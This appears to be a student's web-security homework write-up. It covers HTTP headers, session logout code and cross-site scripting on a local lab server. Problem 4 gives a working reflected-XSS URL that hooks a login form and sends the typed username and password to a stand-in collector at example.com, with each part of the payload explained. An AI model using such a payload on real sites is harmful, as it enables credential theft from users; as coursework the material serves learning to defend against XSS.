---
# System prepended metadata

title: SWS Homework 06

---

# SWS Homework 06

Marcel Hasenbalg - 3436574

## Problem 1
```
General:
    Request URL: https://ilias3.uni-stuttgart.de/goto_Uni_Stuttgart_file_2521333_download.html
    Request Method: GET
    Status Code: 200 OK
    Remote Address: [2001:7c0:2041:17c::201]:443
    Referrer Policy: strict-origin-when-cross-origin

Response Headers:
    Accept-Ranges: bytes
    Cache-Control: no-store, no-cache, must-revalidate
    Connection: keep-alive
    Content-Description: sws-homework-06.pdf
    Content-Disposition: inline; filename="sws-homework-06.pdf"
    Content-Length: 409458
    Content-Type: application/pdf
    Date: Wed, 16 Jun 2021 13:50:47 GMT
    ETag: "63f72-5c4cb58e8c131"
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Last-Modified: Tue, 15 Jun 2021 10:22:12 GMT
    Pragma: no-cache
    Server: nginx
    Set-Cookie: ilClientId=Uni_Stuttgart; path=/; HttpOnly
    Strict-Transport-Security: max-age=31536000
    X-ILIAS-FileDelivery-Method: mod_xsendfile

Request Headers:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate, br
    Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7,la;q=0.6,es;q=0.5
    Connection: keep-alive
    Cookie: ilClientId=Uni_Stuttgart; PHPSESSID=XXXXXXXXXXXXXXXXXXXX
    Host: ilias3.uni-stuttgart.de
    Referer: https://ilias3.uni-stuttgart.de/ilias.php?ref_id=2521333&cmd=infoScreen&cmdClass=ilrepositorygui&cmdNode=wo&baseClass=ilRepositoryGUI
    sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
```


### Request Headers:

| Header | Explanation | Content Explanation |
| -------- | -------- | -------- |
| Accept     | The client tells the server which content types (expressed as MIME types) the client is able to understand.     | client can understand html, xml, images of type avif, webp and apng as well as signed-exchange (making it possible that the server loads a signed resource from any server while still displaying the original publisher URL in the browser address bar.)    |#
| Accept-Encoding | The client tells the server which types of compression it is able to understand and extract. | gzip = Lempel-Ziv coding with 32-bit CRC, deflate = zlib structure with deflate compression algorithm, br = Brotli algorithm compression|
| Accept-Language | The client tells the server which locale is preferred.| de-DE and en-US are preferred so german and english|
| Connection| This controls if the network connection stays active after the transmission finishes. | keep-alive means the connection is persistent and not closed, allowing for new requests in the future using this connection|
| Cookie| contains the stored Cookies which are sent to the server with every request | ilias Client ID is Uni Stuttgart and PHPSESSID is the personal session token|
|Host| specifies the host and port number to which the request is sent| This is the ilias URL for the ilias of Uni Stuttgart|
|Referer| This is the source page of the request, e.g. when following a link, the Referer Header is set to the page containing this link.| The download button was clicked from the Ilias file section, so this is the referer URL.|
|sec-ch-ua <br> sec-ch-ua-mobile <br> | These are experimental features of Google Chrome to give the user more privacy when telling the server which system and browser he is runnig.| -|
|Sec-Fetch-Dest| The fetch metadata request header indicates the initiator of the orginal fetch request. |document = The destination is a document and the request is the result of a user navigation.|
|Sec-Fetch-Mode| indicates the mode of request, to allow the server to distinguish between user clicking links and request to load images or other resources (cors / no-cors) | navigate because user (me) clicked the download button|
|Sec-Fetch-Site| indicates the relationship between the initiator of the request and the resource of the request| same-origin, as both, the pdf and the html document are hosted in the ilias|#
|Sec-Fetch-User| This header is only sent for requests which are initiated by the user (click)| value is always ?1|
|Upgrade-Insecure-Requests| The client tells the server that he prefers encrypted and authenticated responses and can handel the Content-Security-Policy Directive upgrade-insecure-requests | if set value is always 1|
|User-Agent | The client tells the server the browser, operating system and version of the client| Win10 64-bit Chrome 91 in my case|


### Response Headers:


| Header | Explanation | Content Explanation |
| -------- | -------- | -------- |
| Accept-Ranges     | The server tells the client it is able to support partial requests. The value is the unit used to define a range     | bytes = client can specify a partial request with a certain amount of bytes |
| Cache-Control | Instructions for caching in requests and responses.| no-store = response is not stored in any cache, <br> no-cache = response may be stored in cache even if the response is non-cacheable, <br> must-revalidate = once cache becomes stale, cached response has to be validated with the server again.|
| Connection| This controls if the network connection stays active after the transmission finishes. | keep-alive means the connection is persistent and not closed, allowing for new requests in the future using this connection|
|Content-Description | Description of the content of the response | The file sws-homework-06.pdf|
|Content-Disposition| Tells the client if the response is supposed to be displayed inline in the browser, as Web page, part of Webpage or as an attachment downloaded | inline = is displyed inline, means the browsers pdf viewer is used to display this file|
|Content-Length| Size of the message body in bytes| approximately 400 Kilobyte|
|Content-Type| The server tells the client the media type of the resource sent in the response  | application/pdf meaning a pdf Type|
|Date| The date and time at which the message was sent from the server| 16.06. at 13:50 GMT|
|ETag| identifier for a specific version of a resource. This optimizes cache efficiency, as the server doesn't need to send the resource again if the ETag identifier hasn't changed | The current ETag of the sws-homework-06.pdf on the server|
|Expires | The date at which the response is considered stale. Dates from the past mean the resource is already expired. | 1981 is in the past, so the resource is already stale in our example|
|Last-Modified| The date at which the resource was last modified on the server | So sws-homework-06.pdf was changed the last time at 15.06. 10:22 GMT on the server.|
|Pragma| Pragma: no-cache has the same effect as Cache-Control: no-cache| This means this file must not be cached!|
|Server| Describes the software used by the server.| Ilias seems to be hosted by an nginx server|
|Set-Cookie | This header tells the client to set a Cookie, which can be sent back to the server on the following requests. | ilias client id is Uni_Stuttgart|
|Strict-Transport-Security | This tells the client, that this web site should only be accessed using HTTPS.| The max-age tells the time in seconds how long this setting is valid.|
|X-ILIAS-FileDelivery-Method | This is a custom header specified by ILIAS server. | mod_xsendfile|

### c) Which parts must never leak to an attacker?
In the Cookie Header, the Cookie PHPSESSIONID identifies my session with the Ilias Server. If this is leaked to an attacker, the attacker can impersonate me.


## Problem 2: Session Management
code changes (the whole extended file is attached in my submission .zip):

add logout button:
```
logged_in_doc = '''
<!doctype html>
<html><body>
{message}
<form method="post" action="/logout">
    <input type="submit" value="logout">
</form>
</body></html>'''
```

handle /logout resource request:
```
    def do_POST(self):
        content_length = self.headers['Content-Length']
        body = self.rfile.read(int(content_length))
        qs_dict = parse_qs(str(body, 'UTF-8'))

        if 'logout' in self.requestline:
            # logout was called
            # get sid cookie of user who wants to logout
            cookies = SimpleCookie(self.headers.get('Cookie'))
            if cookies['sid']:
                sid = cookies['sid'].value
                # if this user has a valid session (best practice):
                if sid in sessions:
                    del sessions[sid] #remove old session id
                    self.send_response(303)
                    self.get_or_create_session() # assign new session id
                    self.send_header('Content-Type', 'text/html;charset=utf-8')
                    self.send_header('Location', '/')
                    self.end_headers()
                    return
        else:
            if qs_dict['user'][0] == 'alice' and qs_dict['pass'][0] == 'bob':
                # login was successful, redirect user to first page.
                self.send_response(303)  # redirection status code "See Other"
                sid = self.get_or_create_session()
                self.send_header('Content-Type', 'text/html;charset=utf-8')
                sessions[sid]['username'] = 'alice'
                self.send_header('Location', '/')
                self.end_headers()
            else:
                # wrong credentials, show form again
                self.send_response(200)
                self.send_header('Content-Type', 'text/html;charset=utf-8')
                self.end_headers()
                message = 'Wrong credentials.'
                output = login_form_doc.format(message=message)
                self.wfile.write(bytes(output, 'UTF-8'))
```

## Problem 3: HTTP Transmission and XSS

### 1)
```
- Aß:    http://localhost:8081/?lookup=A%C3%9F&send=OK
- Bü:    http://localhost:8081/?lookup=B%C3%BC&send=OK
- C+:    http://localhost:8081/?lookup=C%2B&send=OK
- D&:    http://localhost:8081/?lookup=E%26&send=OK
- F.:    http://localhost:8081/?lookup=F.&send=OK
```

Percent encoding is used, because URLs can only have ASCII characters in it.
If characters outside the ASCII character set are used, they are encoded with a percent sign and up to two 2-digit hex numbers e.g `%26` for `&` or `%C3%BC` for `ü`.

### 2)
using the input string: `<script>document.body.style.backgroundColor = "red";</script>` produces a different output:

#### xss-search-1a screenshot:
![](https://i.imgur.com/7aopfBi.jpg)

#### xss-search-1b screenshot:
![](https://i.imgur.com/GsiXb6h.png)

### 3)
In the server using the xss-search-1a code, the input submitted by the user is not escaped, resulting in the script tag being actually interpreted as tag. Script tags are executed immediately.
![](https://i.imgur.com/CiUdg3u.jpg)

In the server using the xss-search-1b code, the input submitted by the user is escaped, resulting in the input being interpreted as string/text only. Therefore no tag is created and no script is executed.
![](https://i.imgur.com/qhqObMY.jpg)

### 4)
- xss-search-1b sanitizes the user input by using the escape function.
So tags like `<script>` are converted into html-safe sequences where `<` becomes `&lt` and `>` becomes `&gt` --> `&ltscript&gt`. So execution of malicious code is not possible via XSS.
- By being able to inject code which is executed in xss-search-1a, it is possible to craft certain URLs of this legitimate website and send it to victims. If they click the link of the website which appears to be trustworthy, malicious code can be executed, like logging of keystrokes/passwords and credentials or prompting the user to download a malicious file.


## Problem 4:

With the following constructed URL (formatted for readibility, actually it is all one line):
```
http://localhost:8081
/a?uname=">
<script>
    document.forms[0].onsubmit = () => 
        {    window.open(%60http://example.com/collect.php?name=
        %24%7Bdocument.getElementById("uname").value%7D
        %26pass=
        %24%7Bdocument.getElementById("password").value%7D%60)
        }
</script>
<p hidden></p id="a
```

one-line link for testing:
```
http://localhost:8081/a?uname="><script>document.forms[0].onsubmit = () => {window.open(%60http://example.com/collect.php?name=%24%7Bdocument.getElementById("uname").value%7D%26pass=%24%7Bdocument.getElementById("password").value%7D%60)}</script><p hidden></p id="a
```

This alters the DOM in following way:

![](https://i.imgur.com/lxM0wVP.jpg)

1. **/a?**: If the resource path is /login the uname input form is escaped, this would deny injection of JavaScript code. The /cusomter resource serves another document, which does not contain the forms. Because the server has an else statement serving the main_doc for every other resource with unsanitized input as attribute value for the input element with the id `uname` we can just supply /a? as target resource.
2. **">** : The user name tag context of the value attribute is escaped by supplying a single double quote, the tag context is escaped by a greater equals sign >. This ensures, that the input field of username is empty and the site appears not manipulated.
3. **<script>** The script tag, which attaches to the onsubmit handler to the first form of the page (credentials form). In this handler we use the JavaScript template string implementation with the backticks \` which are encoded with `%60`. Inside the template string we can escape $, {, } and & using `%24`, `%7B`, `%7D` and `%26`. In the template string arguments we just read the contents of the form using `document.getElementById("id").value` and sent these to example.com using window.open().
4. **<p hidden\></p id="a** Finally as the value attribute of the input form tag with the id `uname` is expected to end again with "> we need to supply another tag. Therefore a <p\> element is inserted such, that the closing tag has an id with the value a. To not manipulate the visual perception of the site, the p tag has the attribute hidden.





